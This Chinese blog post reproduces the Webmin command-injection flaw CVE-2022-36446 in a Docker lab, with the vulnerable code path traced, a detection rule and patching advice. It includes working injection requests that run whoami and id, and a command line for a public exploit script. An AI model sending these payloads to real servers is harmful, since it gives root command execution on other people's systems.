天天看點

網絡安全之指令執行漏洞複現

作者:KaliMa

0x01 漏洞介紹

漏洞等級:嚴重

Webmin是功能最強大的基于Web的Unix系統管理工具。管理者通過浏覽器通路Webmin的各種管理功能并完成相應的管理動作。在版本1.997之前的Webmin中存在一個任意指令注入漏洞,觸發該漏洞需登入Webmin。

0x02 漏洞影響範圍

WebMin版本小于1.997

0x03 漏洞利用條件

  • 此漏洞需身份驗證;
  • 并且該賬戶必須有權限通路軟體包更新子產品,需要通路“Software Package Updates”子產品才能觸發漏洞;

0x04 漏洞複現

環境搭建

1. 使用vulhub搭建環境,把vulhub下載下傳到本地。

網絡安全之指令執行漏洞複現

image.png

2. 進入vulhub/webmin/CVE0=-2019-15107,使用此環境進行CVE-2022-36446漏洞複現。

docker-compose up -d   #  啟動漏洞環境
docker-compose ps      # 檢視漏洞環境映射的端口
           
網絡安全之指令執行漏洞複現

image.png

【一一幫助安全學習,所有資源關注我,私信回複“資料”擷取一一】

①網絡安全學習路線

②20份滲透測試電子書

③安全攻防357頁筆記

④50份安全攻防面試指南

⑤安全紅隊滲透工具包

⑥網絡安全必備書籍

⑦100個漏洞實戰案例

⑧安全大廠内部教程

3. 通路https://ip:10000,出現以下界面表示環境部署成功。

網絡安全之指令執行漏洞複現

image.png

4. 接下來需要修改webmin的密碼,需要進入容器中修改。

docker ps     # 檢視漏洞環境容器id
docker exec -it 容器id /bin/bash    # 進入容器内部
cd /usr/share/webmin/                     # 進入容器内的/usr/share/webmin/目錄下
./changepass.pl /etc/webmin root root   # 将root密碼設定為root
           
網絡安全之指令執行漏洞複現

1667530120_63647d8825b80bfab478f.jpg

漏洞複現

1. 以上設定完之後,使用root/root登入webmin。

網絡安全之指令執行漏洞複現

1667530160_63647db0e57fe723c857f.png

2. 抓取登入後的任意資料包。

網絡安全之指令執行漏洞複現

1667530187_63647dcbf034b30f5262f.png

3. 發送到Repeater子產品,更改請求方式為POST。

網絡安全之指令執行漏洞複現

1667530244_63647e04a72d3b42fe8e7.png

4. 更改請求路徑為/package-updates/update.cgi ,添加payload,發送請求,傳回包中出現指令執行結果。

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
           
網絡安全之指令執行漏洞複現

1667530268_63647e1c9570f771c2910.png

POST /package-updates/update.cgi HTTP/1.1
Host: X.X.X.X:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-From: mount
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://X.X.X.X:10000/mount/?xnavigation=1
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow
           
網絡安全之指令執行漏洞複現

1667530292_63647e349842bd7b44a42.png

EXP

也可直接通過腳本進行漏洞利用,EXP位址:https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE。

python3 CVE-2022-36446.py -t https://X.X.X.X:10000/ -u root -p root -k -I
           
網絡安全之指令執行漏洞複現

1667530316_63647e4c7a6f5571fb939.png

有可能會出現以下報錯

網絡安全之指令執行漏洞複現

image.png

将CVE-2022-36446.py檔案中的soup = BeautifulSoup(r.content, 'lxml') 全部改為soup = BeautifulSoup(r.content, 'html.parser'),再重新執行即可。

網絡安全之指令執行漏洞複現

image.png

漏洞分析

指令執行****:

當應用需要調用外部程式處理某些内容的情況下,就會用到一些執行系統指令的函數,比如最常見的php中的system、exec、shell_exec等等。當使用者可以控制指令執行函數中的參數時,就可以注入一些惡意的系統指令到正常的指令中,造成指令執行攻擊。

Webmin是目前功能最強大的基于web的unix系統管理工具,管理者通過浏覽器通路webmin的各種管理功能并完成相應的管理動作。

Webmin使用作業系統包管理器(apt、yum等)來執行包更新和安裝。由于缺乏輸入清理(1.997之前的Webmin中的software/apt-lib.pl缺少UI指令的HTML轉義),可以注入将連接配接到包管理器調用的任意指令。

此漏洞需要身份驗證,并且該賬戶必須有權限通路軟體包更新子產品,使用者可以通過在新軟體包安裝期間執行系統指令,并以root權限運作指令。

網絡安全之指令執行漏洞複現

image.png

該子產品在/package-updates/檔案夾下開發。其中有一個update.cgi檔案,該檔案中第39行使用參數U指定使用者的包名稱,并在第50行檢查請求中是否存在“confirm”參數。第57行,如果請求中沒有“confirm”參數,就會調用帶有變量“pkgnames”的“list_package_operations()”函數,其中存儲了包名。

網絡安全之指令執行漏洞複現

1667530458_63647edaef3865d89df1e.png

通過/package-updates/update.cgi檔案的第4行可知道,“list_package_operations”函數位于“pakage-updates-lib.pl”檔案中。

網絡安全之指令執行漏洞複現

image.png

“list_package_operations()”函數定義于pakage-updates-lib.pl檔案的第408行。此函數将“$name”的值(即包名)發送到第412行中名為software檔案中的“update_system_operations()”函數。

網絡安全之指令執行漏洞複現

image.png

再通過搜尋功能找到定義update_system_operations()函數的檔案為apt-lib.pl和yum-lib.pl。

顧名思義,apt-lib.pl檔案使用的是apt包,yum-lib.pl檔案使用的是yum包。兩者所做的工作是相同的,但是因為運作Webmin的系統和該系統的包管理器不同,是以隻是檔案中的某些指令會不同,故分析哪個檔案都可以

檢視/software/apt-lib.pl檔案,在第75行定義了update_system_operations()函數。第83行,通過“backquote_command()”函數來執行系統指令,也是通過此函數對系統運作的指令進行安全控制,也防止使用者在此注入指令。

網絡安全之指令執行漏洞複現

1667530497_63647f01baffe22f5e831.png

再繼續看update.cgi檔案,如果需要安裝一個包,則會調用第129行的“package_install()”函數。

網絡安全之指令執行漏洞複現

image.png

通過查找,package_install()函數位于“package-updates-lib.pl”檔案中第300行。檢視函數内容發現,“update_system_install()”函數是通過“$name”變量調用的,它是使用者在第345行給出的包名(從之前的分析得出,這些函數是在apt-lib.pl檔案中定義的)。

網絡安全之指令執行漏洞複現

image.png

網絡安全之指令執行漏洞複現

image.png

再檢視apt-lib.pl檔案,找到相關函數。

第18行看到函數的第一個參數(即使用者之前發送的包名)被配置設定給“

update”變量被包含在了指令中,而且沒有做任何的控制機制。

第46行發現,相關的指令會直接在系統上執行,也是沒有做任何的控制機制。

是以,使用者可以通過在新的軟體包安裝請求中提供“confirm”參數,并在軟體包中指定在系統上運作指令的值,以root權限在系統上執行指令。

網絡安全之指令執行漏洞複現

1667530540_63647f2c0fbdbdd96ee6e.png

0x05 檢測POC規則編寫

params:
- mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
name: Webmin指令執行漏洞(CVE-2022-36446)
set: {}
rules:
- method: POST
  path: /package-updates/update.cgi
  headers:
    Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
  body: mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"root")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""
           
網絡安全之指令執行漏洞複現

image.png

網絡安全之指令執行漏洞複現

0x06 漏洞修複

1. 更新到1.997及以上版本

2. 更新檔擷取

繼續閱讀